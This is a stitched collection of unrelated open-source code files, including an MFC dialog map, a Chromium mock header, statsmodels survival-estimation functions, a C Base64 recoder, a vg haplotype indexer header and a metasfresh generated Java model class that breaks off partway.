DDX_Text(pDX, IDC_SCLASS_MAX_SPEED, m_ShipClassMaxSpeed);
DDX_CBString(pDX, IDC_SCLASS_NAME, m_ShipClassName);
DDX_Text(pDX, IDC_SCLASS_POWER_PLANT, m_ShipClassPowerPlant);
DDX_Text(pDX, IDC_SCLASS_SCORE, m_ShipClassScore);
DDX_Text(pDX, IDC_SCLASS_SHIELDS, m_ShipClassShields);
DDX_Check(pDX, IDC_SCLASS_WARPDRIVE, m_ShipClassWarpdrive);
DDX_CBString(pDX, IDC_SCLASS_TURRET_WEAPON1, m_ShipClassTurretWeapon1);
DDX_CBString(pDX, IDC_SCLASS_TURRET_WEAPON2, m_ShipClassTurretWeapon2);
DDX_CBString(pDX, IDC_SCLASS_WEAPON_SPECIAL, m_ShipClassWeaponSpecial);
DDX_CBString(pDX, IDC_SCLASS_WEAPON1, m_ShipClassWeapon1);
DDX_CBString(pDX, IDC_SCLASS_WEAPON2, m_ShipClassWeapon2);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CShipClassEditorDlg, CDialog)
//{{AFX_MSG_MAP(CShipClassEditorDlg)
// NOTE: the ClassWizard will add message map macros here
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CShipClassEditorDlg message handlers
| 1,580 |
606 | <reponame>vmarkushin/Arend
package org.arend.typechecking;
import org.arend.core.definition.Definition;
public interface TypecheckedReporter {
void typecheckingFinished(Definition definition);
TypecheckedReporter DUMMY = definition -> {};
}
| 73 |
3,655 | <reponame>yaoshanliang/PaddleX
import paddlex as pdx
clip_min_value = [7172, 6561, 5777, 5103, 4291, 4000, 4000, 4232, 6934, 7199]
clip_max_value = [
50000, 50000, 50000, 50000, 50000, 40000, 30000, 18000, 40000, 36000
]
data_info_file = 'dataset/remote_sensing_seg/train_infomation.pkl'
train_analysis = pdx.datasets.analysis.Seg(
data_dir='dataset/remote_sensing_seg',
file_list='dataset/remote_sensing_seg/train.txt',
label_list='dataset/remote_sensing_seg/labels.txt')
train_analysis.cal_clipped_mean_std(clip_min_value, clip_max_value,
data_info_file)
| 286 |
575 | <reponame>iridium-browser/iridium-browser
// Copyright 2020 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef CHROME_BROWSER_CHROMEOS_PLATFORM_KEYS_KEY_PERMISSIONS_MOCK_KEY_PERMISSIONS_MANAGER_H_
#define CHROME_BROWSER_CHROMEOS_PLATFORM_KEYS_KEY_PERMISSIONS_MOCK_KEY_PERMISSIONS_MANAGER_H_
#include <string>
#include "base/callback.h"
#include "chrome/browser/chromeos/platform_keys/key_permissions/key_permissions_manager.h"
#include "testing/gmock/include/gmock/gmock.h"
namespace chromeos {
namespace platform_keys {
class MockKeyPermissionsManager : public KeyPermissionsManager {
public:
MockKeyPermissionsManager();
MockKeyPermissionsManager(const MockKeyPermissionsManager&) = delete;
MockKeyPermissionsManager& operator=(const MockKeyPermissionsManager&) =
delete;
~MockKeyPermissionsManager() override;
MOCK_METHOD(void,
AllowKeyForUsage,
(AllowKeyForUsageCallback callback,
KeyUsage usage,
const std::string& public_key_spki_der),
(override));
MOCK_METHOD(void,
IsKeyAllowedForUsage,
(IsKeyAllowedForUsageCallback callback,
KeyUsage key_usage,
const std::string& public_key_spki_der),
(override));
MOCK_METHOD(bool, AreCorporateKeysAllowedForArcUsage, (), (const, override));
MOCK_METHOD(void, Shutdown, (), (override));
};
} // namespace platform_keys
} // namespace chromeos
// TODO(https://crbug.com/1164001): remove when
// //chromeos/browser/chromeos/platform_keys moved to ash
namespace ash {
namespace platform_keys {
using ::chromeos::platform_keys::MockKeyPermissionsManager;
} // namespace platform_keys
} // namespace ash
#endif // CHROME_BROWSER_CHROMEOS_PLATFORM_KEYS_KEY_PERMISSIONS_MOCK_KEY_PERMISSIONS_MANAGER_H_
| 734 |
3,301 | <reponame>okjay/Alink
package com.alibaba.alink.operator.batch.dataproc.vector;
import org.apache.flink.ml.api.misc.param.Params;
import com.alibaba.alink.operator.batch.utils.MapBatchOp;
import com.alibaba.alink.operator.common.dataproc.vector.VectorSizeHintMapper;
import com.alibaba.alink.params.dataproc.vector.VectorSizeHintParams;
/**
* Check the size of a vector. if size is not match, then do as handleInvalid.
* If error, will throw exception if the vector is null or the vector size doesn't match the given one.
* If optimistic, will accept the vector if it is not null.
*/
public final class VectorSizeHintBatchOp extends MapBatchOp <VectorSizeHintBatchOp>
implements VectorSizeHintParams <VectorSizeHintBatchOp> {
private static final long serialVersionUID = -4289050155795324155L;
/**
* handleInvalid can be "error", "optimistic"
*/
public VectorSizeHintBatchOp() {
this(null);
}
public VectorSizeHintBatchOp(Params params) {
super(VectorSizeHintMapper::new, params);
}
}
| 338 |
303 | /* Copyright (C) 2005-2011 <NAME> */
package com.lightcrafts.image.export;
import com.lightcrafts.utils.xml.XMLException;
import com.lightcrafts.utils.xml.XmlNode;
import java.io.IOException;
/**
* An <code>IntegerExportOption</code> is-an {@link ImageExportOption} for
* storing an option that has an integer value.
*
* @author <NAME> [<EMAIL>]
*/
public abstract class IntegerExportOption extends ImageExportOption {
////////// public /////////////////////////////////////////////////////////
/**
* {@inheritDoc}
*/
public final boolean equals( Object o ) {
if ( !(o instanceof IntegerExportOption) )
return false;
final IntegerExportOption i = (IntegerExportOption)o;
return i.getName().equals( getName() ) && i.getValue() == getValue();
}
/**
* Get the integer value of this option.
*
* @return Returns said value.
*/
public int getValue() {
return m_value;
}
/**
* Checks whether the given value is legal.
*
* @param value The value to check.
* @return Returns <code>true</code> only if the value is valid.
*/
public abstract boolean isLegalValue( int value );
/**
* Sets the integer value of this option.
*
* @param newValue The new value.
*/
public final void setValue( int newValue ) {
/* temporary removal
if ( !isLegalValue( newValue ) )
throw new IllegalArgumentException( Integer.toString( newValue ) );
*/
m_value = newValue;
}
/**
* Sets the integer value of this option.
*
* @param newValue The new value. The integer value is parsed from the
* string.
* @throws NumberFormatException if the new value does not contain a
* parsable integer.
*/
public final void setValue( String newValue ) {
setValue( Integer.parseInt( newValue ) );
}
@Deprecated
public void save( XmlNode node ) {
node = node.addChild( getName() );
final String value = Integer.toString( getValue() );
node.setAttribute( ValueTag, value );
}
@Deprecated
public void restore( XmlNode node ) throws XMLException {
node = node.getChild( getName() );
m_value = Integer.parseInt( node.getAttribute( ValueTag ) );
}
/**
* {@inheritDoc}
*/
public void readFrom( ImageExportOptionReader r ) throws IOException {
r.read( this );
}
/**
* {@inheritDoc}
*/
public void writeTo( ImageExportOptionWriter w ) throws IOException {
w.write( this );
}
////////// protected //////////////////////////////////////////////////////
/**
* Construct an <code>IntegerExportOption</code>.
*
* @param name The name of this option.
* @param defaultValue The default value for this option.
* @param options The {@link ImageExportOptions} of which this option is a
* member.
*/
protected IntegerExportOption( String name, int defaultValue,
ImageExportOptions options ) {
super( name, options );
setValue( defaultValue );
}
////////// private ////////////////////////////////////////////////////////
/**
* The integer value of this option.
*/
private int m_value;
}
/* vim:set et sw=4 ts=4: */
| 1,252 |
6,931 | <reponame>EkremBayar/bayar
import numpy as np
from statsmodels.duration.hazard_regression import PHReg
def _kernel_cumincidence(time, status, exog, kfunc, freq_weights,
dimred=True):
"""
Calculates cumulative incidence functions using kernels.
Parameters
----------
time : array_like
The observed time values
status : array_like
The status values. status == 0 indicates censoring,
status == 1, 2, ... are the events.
exog : array_like
Covariates such that censoring becomes independent of
outcome times conditioned on the covariate values.
kfunc : function
A kernel function
freq_weights : array_like
Optional frequency weights
dimred : bool
If True, proportional hazards regression models are used to
reduce exog to two columns by predicting overall events and
censoring in two separate models. If False, exog is used
directly for calculating kernel weights without dimension
reduction.
"""
# Reorder so time is ascending
ii = np.argsort(time)
time = time[ii]
status = status[ii]
exog = exog[ii, :]
nobs = len(time)
# Convert the unique times to ranks (0, 1, 2, ...)
utime, rtime = np.unique(time, return_inverse=True)
# Last index where each unique time occurs.
ie = np.searchsorted(time, utime, side='right') - 1
ngrp = int(status.max())
# All-cause status
statusa = (status >= 1).astype(np.float64)
if freq_weights is not None:
freq_weights = freq_weights / freq_weights.sum()
ip = []
sp = [None] * nobs
n_risk = [None] * nobs
kd = [None] * nobs
for k in range(ngrp):
status0 = (status == k + 1).astype(np.float64)
# Dimension reduction step
if dimred:
sfe = PHReg(time, exog, status0).fit()
fitval_e = sfe.predict().predicted_values
sfc = PHReg(time, exog, 1 - status0).fit()
fitval_c = sfc.predict().predicted_values
exog2d = np.hstack((fitval_e[:, None], fitval_c[:, None]))
exog2d -= exog2d.mean(0)
exog2d /= exog2d.std(0)
else:
exog2d = exog
ip0 = 0
for i in range(nobs):
if k == 0:
kd1 = exog2d - exog2d[i, :]
kd1 = kfunc(kd1)
kd[i] = kd1
# Get the local all-causes survival function
if k == 0:
denom = np.cumsum(kd[i][::-1])[::-1]
num = kd[i] * statusa
rat = num / denom
tr = 1e-15
ii = np.flatnonzero((denom < tr) & (num < tr))
rat[ii] = 0
ratc = 1 - rat
ratc = np.clip(ratc, 1e-10, np.inf)
lrat = np.log(ratc)
prat = np.cumsum(lrat)[ie]
sf = np.exp(prat)
sp[i] = np.r_[1, sf[:-1]]
n_risk[i] = denom[ie]
# Number of cause-specific deaths at each unique time.
d0 = np.bincount(rtime, weights=status0*kd[i],
minlength=len(utime))
# The cumulative incidence function probabilities. Carry
# forward once the effective sample size drops below 1.
ip1 = np.cumsum(sp[i] * d0 / n_risk[i])
jj = len(ip1) - np.searchsorted(n_risk[i][::-1], 1)
if jj < len(ip1):
ip1[jj:] = ip1[jj - 1]
if freq_weights is None:
ip0 += ip1
else:
ip0 += freq_weights[i] * ip1
if freq_weights is None:
ip0 /= nobs
ip.append(ip0)
return utime, ip
def _kernel_survfunc(time, status, exog, kfunc, freq_weights):
"""
Estimate the marginal survival function under dependent censoring.
Parameters
----------
time : array_like
The observed times for each subject
status : array_like
The status for each subject (1 indicates event, 0 indicates
censoring)
exog : array_like
Covariates such that censoring is independent conditional on
exog
kfunc : function
Kernel function
freq_weights : array_like
Optional frequency weights
Returns
-------
probs : array_like
The estimated survival probabilities
times : array_like
The times at which the survival probabilities are estimated
References
----------
<NAME> 2004. Estimating Marginal Survival Function by
Adjusting for Dependent Censoring Using Many Covariates. The
Annals of Statistics 32 (4): 1533 55.
doi:10.1214/009053604000000508.
https://arxiv.org/pdf/math/0409180.pdf
"""
# Dimension reduction step
sfe = PHReg(time, exog, status).fit()
fitval_e = sfe.predict().predicted_values
sfc = PHReg(time, exog, 1 - status).fit()
fitval_c = sfc.predict().predicted_values
exog2d = np.hstack((fitval_e[:, None], fitval_c[:, None]))
n = len(time)
ixd = np.flatnonzero(status == 1)
# For consistency with standard KM, only compute the survival
# function at the times of observed events.
utime = np.unique(time[ixd])
# Reorder everything so time is ascending
ii = np.argsort(time)
time = time[ii]
status = status[ii]
exog2d = exog2d[ii, :]
# Last index where each evaluation time occurs.
ie = np.searchsorted(time, utime, side='right') - 1
if freq_weights is not None:
freq_weights = freq_weights / freq_weights.sum()
sprob = 0.
for i in range(n):
kd = exog2d - exog2d[i, :]
kd = kfunc(kd)
denom = np.cumsum(kd[::-1])[::-1]
num = kd * status
rat = num / denom
tr = 1e-15
ii = np.flatnonzero((denom < tr) & (num < tr))
rat[ii] = 0
ratc = 1 - rat
ratc = np.clip(ratc, 1e-12, np.inf)
lrat = np.log(ratc)
prat = np.cumsum(lrat)[ie]
prat = np.exp(prat)
if freq_weights is None:
sprob += prat
else:
sprob += prat * freq_weights[i]
if freq_weights is None:
sprob /= n
return sprob, utime
| 2,948 |
301 | <filename>src/Extension/StrToBase64.c<gh_stars>100-1000
#include <Windows.h>
#include <assert.h>
#include "Externals.h"
#include "StrToBase64.h"
#include "StringRecoding.h"
extern StringSource ss = { 0 };
extern RecodingAlgorithm ra = { 0 };
static const unsigned char base64_table[65] =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
BOOL CheckRequiredBase64DigitsAvailable(LPCSTR pCurTextOrigin, LPCSTR pCurText, const long iCurTextLength, const long nChars)
{
BOOL res = FALSE;
if (iCurTextLength - (pCurText - pCurTextOrigin) >= nChars)
{
long i = 0;
res = TRUE;
for (i = 0; i < nChars; ++i)
{
res &= (strchr(base64_table, pCurText[i]) != 0);
if (!res)
{
break;
}
}
}
return res;
}
BOOL Base64_IsValidSequence(EncodingData* pED, const int requiredChars)
{
return CheckRequiredBase64DigitsAvailable(pED->m_tb.m_ptr, pED->m_tb.m_ptr + pED->m_tb.m_iPos, pED->m_tb.m_iMaxPos, requiredChars);
}
static Base64Data b64data = { 0 };
LPVOID Base64_InitAlgorithmData(const BOOL isEncoding)
{
if (!isEncoding)
{
if (!b64data.initialized)
{
memset(b64data.dtable, 0x80, 256);
for (int i = 0; i < sizeof(base64_table) - 1; i++)
{
b64data.dtable[base64_table[i]] = (unsigned char)i;
}
b64data.dtable['='] = 0;
b64data.initialized = 1;
}
return (LPVOID)&b64data;
}
else
{
return NULL;
}
}
void Base64_ReleaseAlgorithmData(LPVOID pData)
{
}
long Base64_GetEncodedCharLength(unsigned char ch)
{
if (Is8BitEncodingMode())
{
return isascii(ch) ? 1 : 2;
}
return 1;
}
BOOL Base64_Encode(RecodingAlgorithm* pRA, EncodingData* pED, long* piCharsProcessed)
{
unsigned char chInput[4] = { 0 };
for (int i = 0; i < _countof(chInput) - 1; ++i)
{
chInput[i] = TextBuffer_PopChar(&pED->m_tb);
}
TextBuffer_PushChar(&pED->m_tbRes, base64_table[chInput[0] >> 2]);
TextBuffer_PushChar(&pED->m_tbRes, base64_table[((chInput[0] & 0x03) << 4) | (chInput[1] >> 4)]);
TextBuffer_PushChar(&pED->m_tbRes, base64_table[((chInput[1] & 0x0f) << 2) | (chInput[2] >> 6)]);
TextBuffer_PushChar(&pED->m_tbRes, base64_table[chInput[2] & 0x3f]);
if (piCharsProcessed)
{
int iCharsProcessed = 0;
if (Is8BitEncodingMode())
{
for (int i = 0; i < _countof(chInput) - 1; ++i)
{
iCharsProcessed += Base64_GetEncodedCharLength(chInput[i]);
}
}
else
{
iCharsProcessed = _countof(chInput) - 1;
}
(*piCharsProcessed) += iCharsProcessed;
}
return TRUE;
}
BOOL Base64_EncodeTail(RecodingAlgorithm* pRA, EncodingData* pED, long* piCharsProcessed)
{
long iCharsProcessed = 0;
unsigned char chInput[4] = { 0 };
int i = 0;
chInput[0] = TextBuffer_PopChar(&pED->m_tb);
iCharsProcessed += Base64_GetEncodedCharLength(chInput[0]);
TextBuffer_PushChar(&pED->m_tbRes, base64_table[chInput[0] >> 2]);
if (TextBuffer_GetTailLength(&pED->m_tb) == 0)
{
TextBuffer_PushChar(&pED->m_tbRes, base64_table[(chInput[0] & 0x03) << 4]);
TextBuffer_PushChar(&pED->m_tbRes, '=');
}
else
{
chInput[1] = TextBuffer_PopChar(&pED->m_tb);
iCharsProcessed += Base64_GetEncodedCharLength(chInput[1]);
TextBuffer_PushChar(&pED->m_tbRes, base64_table[((chInput[0] & 0x03) << 4) | (chInput[1] >> 4)]);
TextBuffer_PushChar(&pED->m_tbRes, base64_table[(chInput[1] & 0x0f) << 2]);
}
TextBuffer_PushChar(&pED->m_tbRes, '=');
if (piCharsProcessed)
{
(*piCharsProcessed) += iCharsProcessed;
}
return TRUE;
}
BOOL Base64_Decode(RecodingAlgorithm* pRA, EncodingData* pED, long* piCharsProcessed)
{
Base64Data* pData = (Base64Data*)pRA->data;
assert(pData);
int iCharsProcessed = 0;
unsigned char chInput[5] = { 0 };
unsigned char block[5] = { 0 };
int pad = 0;
for (int i = 0; i < _countof(chInput) - 1; ++i)
{
if (!TextBuffer_GetLiteralChar(&pED->m_tb, &chInput[i], &iCharsProcessed))
{
return FALSE;
}
block[i] = pData->dtable[chInput[i]];
if (chInput[i] == '=')
{
pad++;
}
}
TextBuffer_PushChar(&pED->m_tbRes, (block[0] << 2) | (block[1] >> 4));
switch (pad)
{
case 0:
TextBuffer_PushChar(&pED->m_tbRes, (block[1] << 4) | (block[2] >> 2));
TextBuffer_PushChar(&pED->m_tbRes, (block[2] << 6) | block[3]);
break;
case 1:
TextBuffer_PushChar(&pED->m_tbRes, (block[1] << 4) | (block[2] >> 2));
break;
case 2:
break;
default:
assert(FALSE);
return FALSE; // Invalid padding
}
if (piCharsProcessed)
{
(*piCharsProcessed) += iCharsProcessed;
}
return TRUE;
}
LPCSTR EncodeStringToBase64(LPCSTR text, const int textLength, const int encoding, const int bufferSize, int* pResultLength)
{
iEncoding = encoding;
RecodingAlgorithm_Init(&ra, ERT_BASE64, TRUE);
StringSource_InitFromString(&ss, text, textLength);
Recode_Run(&ra, &ss, bufferSize);
RecodingAlgorithm_Release(&ra);
*pResultLength = ss.iResultLength;
return ss.result;
}
LPCSTR DecodeBase64ToString(LPCSTR text, const int textLength, const int encoding, const int bufferSize, int* pResultLength)
{
iEncoding = encoding;
RecodingAlgorithm_Init(&ra, ERT_BASE64, FALSE);
StringSource_InitFromString(&ss, text, textLength);
Recode_Run(&ra, &ss, bufferSize);
RecodingAlgorithm_Release(&ra);
*pResultLength = ss.iResultLength;
return ss.result;
}
void EncodeStrToBase64(const HWND hwnd)
{
RecodingAlgorithm_Init(&ra, ERT_BASE64, TRUE);
StringSource_InitFromHWND(&ss, hwnd);
Recode_Run(&ra, &ss, -1);
RecodingAlgorithm_Release(&ra);
}
void DecodeBase64ToStr(const HWND hwnd)
{
RecodingAlgorithm_Init(&ra, ERT_BASE64, FALSE);
StringSource_InitFromHWND(&ss, hwnd);
Recode_Run(&ra, &ss, -1);
RecodingAlgorithm_Release(&ra);
}
| 2,554 |
740 | #ifndef VG_HAPLOTYPE_INDEXER_HPP_INCLUDED
#define VG_HAPLOTYPE_INDEXER_HPP_INCLUDED
/**
* \file haplotype_indexer.hpp: defines how to construct GBWT indexes and VCF parses.
*/
#include <string>
#include <utility>
#include <map>
#include <memory>
#include <unordered_set>
#include <vector>
#include <gbwt/gbwt.h>
#include <gbwt/dynamic_gbwt.h>
#include <gbwt/variants.h>
#include <gbwtgraph/gbwtgraph.h>
#include <gbwtgraph/minimizer.h>
#include "handle.hpp"
#include "progressive.hpp"
namespace vg {
using namespace std;
/**
* Allows indexing haplotypes, either to pre-parsed haplotype files or to a GBWT.
*/
class HaplotypeIndexer : public Progressive {
public:
/// Treat the embedded paths in the graph as samples. By default,
/// the paths are interpreted as contigs.
bool paths_as_samples = false;
/// Print a warning if variants in the VCF can't be found in the graph
bool warn_on_missing_variants = true;
/// Only report up to this many of them
size_t max_missing_variant_warnings = 10;
/// Path names in the graph are mapped to VCF contig names via path_to_vcf,
/// or used as-is if no entry there is found.
std::map<std::string, std::string> path_to_vcf;
/// Use graph path names instead of VCF path names when composing variant
/// alt paths.
bool rename_variants = true;
/// If batch_file_prefix is nonempty, a file for each contig is saved to
/// PREFIX_VCFCONTIG, and files for each batch of haplotypes are saved to
/// files named like PREFIX_VCFCONTIG_STARTSAMPLE_ENDSAMPLE. Otherwise, the
/// batch files are still saved, but to temporary files.
std::string batch_file_prefix = "";
/// Phase homozygous unphased variants
bool phase_homozygous = true;
/// Arbitrarily phase all unphased variants
bool force_phasing = false;
/// Join together overlapping haplotypes
bool discard_overlaps = false;
/// Number of samples to process together in a haplotype batch.
size_t samples_in_batch = 200;
/// Size of the GBWT buffer in millions of nodes
size_t gbwt_buffer_size = gbwt::DynamicGBWT::INSERT_BATCH_SIZE / gbwt::MILLION;
/// Interval at which to sample for GBWT locate
size_t id_interval = gbwt::DynamicGBWT::SAMPLE_INTERVAL;
/// Range of VCF samples to process (first to past-last).
std::pair<size_t, size_t> sample_range = std::pair<size_t, size_t>(0, std::numeric_limits<size_t>::max());
/// Region restrictions for contigs, in VCF name space, as 0-based
/// exclusive-end ranges.
std::map<std::string, std::pair<size_t, size_t>> regions;
/// Excluded VCF sample names, for which threads will not be generated.
/// Ignored during VCF parsing.
std::unordered_set<std::string> excluded_samples;
/// Perform initialization of backing libraries
HaplotypeIndexer();
/**
* Parse the VCF file into the types needed for GBWT indexing.
*
* Returns the file names for the VCF parses of non-alt paths. If
* batch_file_prefix is set, these are permanent files. Otherwise they
* are temporary files that persist until the program exits.
*/
std::vector<std::string> parse_vcf(const std::string& filename, const PathHandleGraph& graph, const std::string& job_name = "GBWT") const;
/**
* Parse the VCF file into the types needed for GBWT indexing.
*
* Returns the file names for the VCF parses of the specified paths. If
* batch_file_prefix is set, these are permanent files. Otherwise they
* are temporary files that persist until the program exits.
*/
std::vector<std::string> parse_vcf(const std::string& filename, const PathHandleGraph& graph, const std::vector<path_handle_t>& paths, const std::string& job_name = "GBWT") const;
/**
* Build a GBWT from the haplotypes in the given VCF parse files.
*
* Respects excluded_samples and does not produce threads for them.
*
* We expect that all parse files contain sample/contig names and
* that the sample names are the same in all files.
*
* There may be no parse files.
*
* If graph is provided and is not null, also includes embedded non-alt
* paths from the graph. Use paths_as_samples to choose whether we treat
* the paths as contigs or samples.
*
* If paths is provided and is not null, include only those specified paths
* from the graph. If skip_unvisited_paths is set, paths not visited as
* contigs by VCF parse files will be skipped.
*/
std::unique_ptr<gbwt::DynamicGBWT> build_gbwt(const std::vector<std::string>& vcf_parse_files,
const std::string& job_name = "GBWT",
const PathHandleGraph* graph = nullptr,
const std::unordered_set<path_handle_t>* paths = nullptr,
bool skip_unvisited_paths = false) const;
/**
* Build a GBWT from the embedded non-alt paths in the graph. Use
* paths_as_samples to choose whether we treat the paths as contigs or
* samples.
*/
std::unique_ptr<gbwt::DynamicGBWT> build_gbwt(const PathHandleGraph& graph) const;
/**
* Build a GBWT from the alignments. Each distinct alignment name becomes
* a sample in the GBWT metadata. If there are multiple alignments with
* the same name, the corresponding GBWT path names will have the same
* sample identifier but different values in the count field.
*
* aln_format can be "GAM" or "GAF"
*/
std::unique_ptr<gbwt::DynamicGBWT> build_gbwt(const PathHandleGraph& graph,
const std::vector<std::string>& aln_filenames, const std::string& aln_format) const;
};
}
#endif
| 2,183 |
310 | <gh_stars>100-1000
{
"name": "Foursquare",
"description": "A location service.",
"url": "https://foursquare.com/"
} | 48 |
1,144 | <reponame>dram/metasfresh
/** Generated Model - DO NOT CHANGE */
package org.compiere.model;
import java.sql.ResultSet;
import java.util.Properties;
/** Generated Model for R_RequestType
* @author Adempiere (generated)
*/
@SuppressWarnings("javadoc")
public class X_R_RequestType extends org.compiere.model.PO implements I_R_RequestType, org.compiere.model.I_Persistent
{
/**
*
*/
private static final long serialVersionUID = 955384659L;
/** Standard Constructor */
public X_R_RequestType (Properties ctx, int R_RequestType_ID, String trxName)
{
super (ctx, R_RequestType_ID, trxName);
/** if (R_RequestType_ID == 0)
{
setConfidentialType (null);
// C
setDueDateTolerance (0);
// 7
setIsAutoChangeRequest (false);
setIsConfidentialInfo (false);
// N
setIsDefault (false);
// N
setIsEMailWhenDue (false);
setIsEMailWhenOverdue (false);
setIsIndexed (false);
setIsSelfService (true);
// Y
setIsUseForPartnerRequestWindow (false);
// N
setName (null);
setR_RequestType_ID (0);
setR_StatusCategory_ID (0);
} */
}
/** Load Constructor */
public X_R_RequestType (Properties ctx, ResultSet rs, String trxName)
{
super (ctx, rs, trxName);
}
/** Load Meta Data */
@Override
protected org.compiere.model.POInfo initPO (Properties ctx)
{
org.compiere.model.POInfo poi = org.compiere.model.POInfo.getPOInfo (ctx, Table_Name, get_TrxName());
return poi;
}
/** Set Auto Due Date Days.
@param AutoDueDateDays
Automatic Due Date Days
*/
@Override
public void setAutoDueDateDays (int AutoDueDateDays)
{
set_Value (COLUMNNAME_AutoDueDateDays, Integer.valueOf(AutoDueDateDays));
}
/** Get Auto Due Date Days.
@return Automatic Due Date Days
*/
@Override
public int getAutoDueDateDays ()
{
Integer ii = (Integer)get_Value(COLUMNNAME_AutoDueDateDays);
if (ii == null)
return 0;
return ii.intValue();
}
/**
* ConfidentialType AD_Reference_ID=340
* Reference name: R_Request Confidential
*/
public static final int CONFIDENTIALTYPE_AD_Reference_ID=340;
/** Public Information = A */
public static final String CONFIDENTIALTYPE_PublicInformation = "A";
/** Partner Confidential = C */
public static final String CONFIDENTIALTYPE_PartnerConfidential = "C";
/** Internal = I */
public static final String CONFIDENTIALTYPE_Internal = "I";
/** Private Information = P */
public static final String CONFIDENTIALTYPE_PrivateInformation = "P";
/** Set Confidentiality.
@param ConfidentialType
Type of Confidentiality
*/
@Override
public void setConfidentialType (java.lang.String ConfidentialType)
{
set_Value (COLUMNNAME_ConfidentialType, ConfidentialType);
}
/** Get Confidentiality.
@return Type of Confidentiality
*/
@Override
public java.lang.String getConfidentialType ()
{
return (java.lang.String)get_Value(COLUMNNAME_ConfidentialType);
}
/** Set Beschreibung.
@param Description Beschreibung */
@Override
public void setDescription (java.lang.String Description)
{
set_Value (COLUMNNAME_Description, Description);
}
/** Get Beschreibung.
@return Beschreibung */
@Override
public java.lang.String getDescription ()
{
return (java.lang.String)get_Value(COLUMNNAME_Description);
}
/** Set Due Date Tolerance.
@param DueDateTolerance
Tolerance in days between the Date Next Action and the date the request is regarded as overdue
*/
@Override
public void setDueDateTolerance (int DueDateTolerance)
{
set_Value (COLUMNNAME_DueDateTolerance, Integer.valueOf(DueDateTolerance));
}
/** Get Due Date Tolerance.
@return Tolerance in days between the Date Next Action and the date the request is regarded as overdue
*/
@Override
public int getDueDateTolerance ()
{
Integer ii = (Integer)get_Value(COLUMNNAME_DueDateTolerance);
if (ii == null)
return 0;
return ii.intValue();
}
/** Set Interner Name.
@param InternalName
Generally used to give records a name that can be safely referenced from code.
*/
@Override
public void setInternalName (java.lang.String InternalName)
{
set_ValueNoCheck (COLUMNNAME_InternalName, InternalName);
}
/** Get Interner Name.
@return Generally used to give records a name that can be safely referenced from code.
*/
@Override
public java.lang.String getInternalName ()
{
return (java.lang.String)get_Value(COLUMNNAME_InternalName);
}
/** Set Create Change Request.
@param IsAutoChangeRequest
Automatically create BOM (Engineering) Change Request
*/
@Override
public void setIsAutoChangeRequest (boolean IsAutoChangeRequest)
{
set_Value (COLUMNNAME_IsAutoChangeRequest, Boolean.valueOf(IsAutoChangeRequest));
}
/** Get Create Change Request.
@return Automatically create BOM (Engineering) Change Request
*/
@Override
public boolean isAutoChangeRequest ()
{
Object oo = get_Value(COLUMNNAME_IsAutoChangeRequest);
if (oo != null)
{
if (oo instanceof Boolean)
return ((Boolean)oo).booleanValue();
return "Y".equals(oo);
}
return false;
}
/** Set Confidential Info.
@param IsConfidentialInfo
Can enter confidential information
*/
@Override
public void setIsConfidentialInfo (boolean IsConfidentialInfo)
{
set_Value (COLUMNNAME_IsConfidentialInfo, Boolean.valueOf(IsConfidentialInfo));
}
/** Get Confidential Info.
@return Can enter confidential information
*/
@Override
public boolean isConfidentialInfo ()
{
Object oo = get_Value(COLUMNNAME_IsConfidentialInfo);
if (oo != null)
{
if (oo instanceof Boolean)
return ((Boolean)oo).booleanValue();
return "Y".equals(oo);
}
return false;
}
/** Set Standard.
@param IsDefault
Default value
*/
@Override
public void setIsDefault (boolean IsDefault)
{
set_Value (COLUMNNAME_IsDefault, Boolean.valueOf(IsDefault));
}
/** Get Standard.
@return Default value
*/
@Override
public boolean isDefault ()
{
Object oo = get_Value(COLUMNNAME_IsDefault);
if (oo != null)
{
if (oo instanceof Boolean)
return ((Boolean)oo).booleanValue();
return "Y".equals(oo);
}
return false;
}
/** Set EMail when Due.
@param IsEMailWhenDue
Send EMail when Request becomes due
*/
@Override
public void setIsEMailWhenDue (boolean IsEMailWhenDue)
{
set_Value (COLUMNNAME_IsEMailWhenDue, Boolean.valueOf(IsEMailWhenDue));
}
/** Get EMail when Due.
@return Send EMail when Request becomes due
*/
@Override
public boolean isEMailWhenDue ()
{
Object oo = get_Value(COLUMNNAME_IsEMailWhenDue);
if (oo != null)
{
if (oo instanceof Boolean)
return ((Boolean)oo).booleanValue();
return "Y".equals(oo);
}
return false;
}
/** Set EMail when Overdue.
@param IsEMailWhenOverdue
Send EMail when Request becomes overdue
*/
@Override
public void setIsEMailWhenOverdue (boolean IsEMailWhenOverdue)
{
set_Value (COLUMNNAME_IsEMailWhenOverdue, Boolean.valueOf(IsEMailWhenOverdue));
}
/** Get EMail when Overdue.
@return Send EMail when Request becomes overdue
*/
@Override
public boolean isEMailWhenOverdue ()
{
Object oo = get_Value(COLUMNNAME_IsEMailWhenOverdue);
if (oo != null)
{
if (oo instanceof Boolean)
return ((Boolean)oo).booleanValue();
return "Y".equals(oo);
}
return false;
}
/** Set Indexed.
@param IsIndexed
Index the document for the internal search engine
*/
@Override
public void setIsIndexed (boolean IsIndexed)
{
set_Value (COLUMNNAME_IsIndexed, Boolean.valueOf(IsIndexed));
}
/** Get Indexed.
@return Index the document for the internal search engine
*/
@Override
public boolean isIndexed ()
{
Object oo = get_Value(COLUMNNAME_IsIndexed);
if (oo != null)
{
if (oo instanceof Boolean)
return ((Boolean)oo).booleanValue();
return "Y".equals(oo);
}
return false;
}
/** Set Invoiced.
@param IsInvoiced
Is this invoiced?
*/
@Override
public void setIsInvoiced (boolean IsInvoiced)
{
set_Value (COLUMNNAME_IsInvoiced, Boolean.valueOf(IsInvoiced));
}
/** Get Invoiced.
@return Is this invoiced?
*/
@Override
public boolean isInvoiced ()
{
Object oo = get_Value(COLUMNNAME_IsInvoiced);
if (oo != null)
{
if (oo instanceof Boolean)
return ((Boolean)oo).booleanValue();
return "Y".equals(oo);
}
return false;
}
/** Set Self-Service.
@param IsSelfService
This is a Self-Service entry or this entry can be changed via Self-Service
*/
@Override
public void setIsSelfService (boolean IsSelfService)
{
set_Value (COLUMNNAME_IsSelfService, Boolean.valueOf(IsSelfService));
}
/** Get Self-Service.
@return This is a Self-Service entry or this entry can be changed via Self-Service
*/
@Override
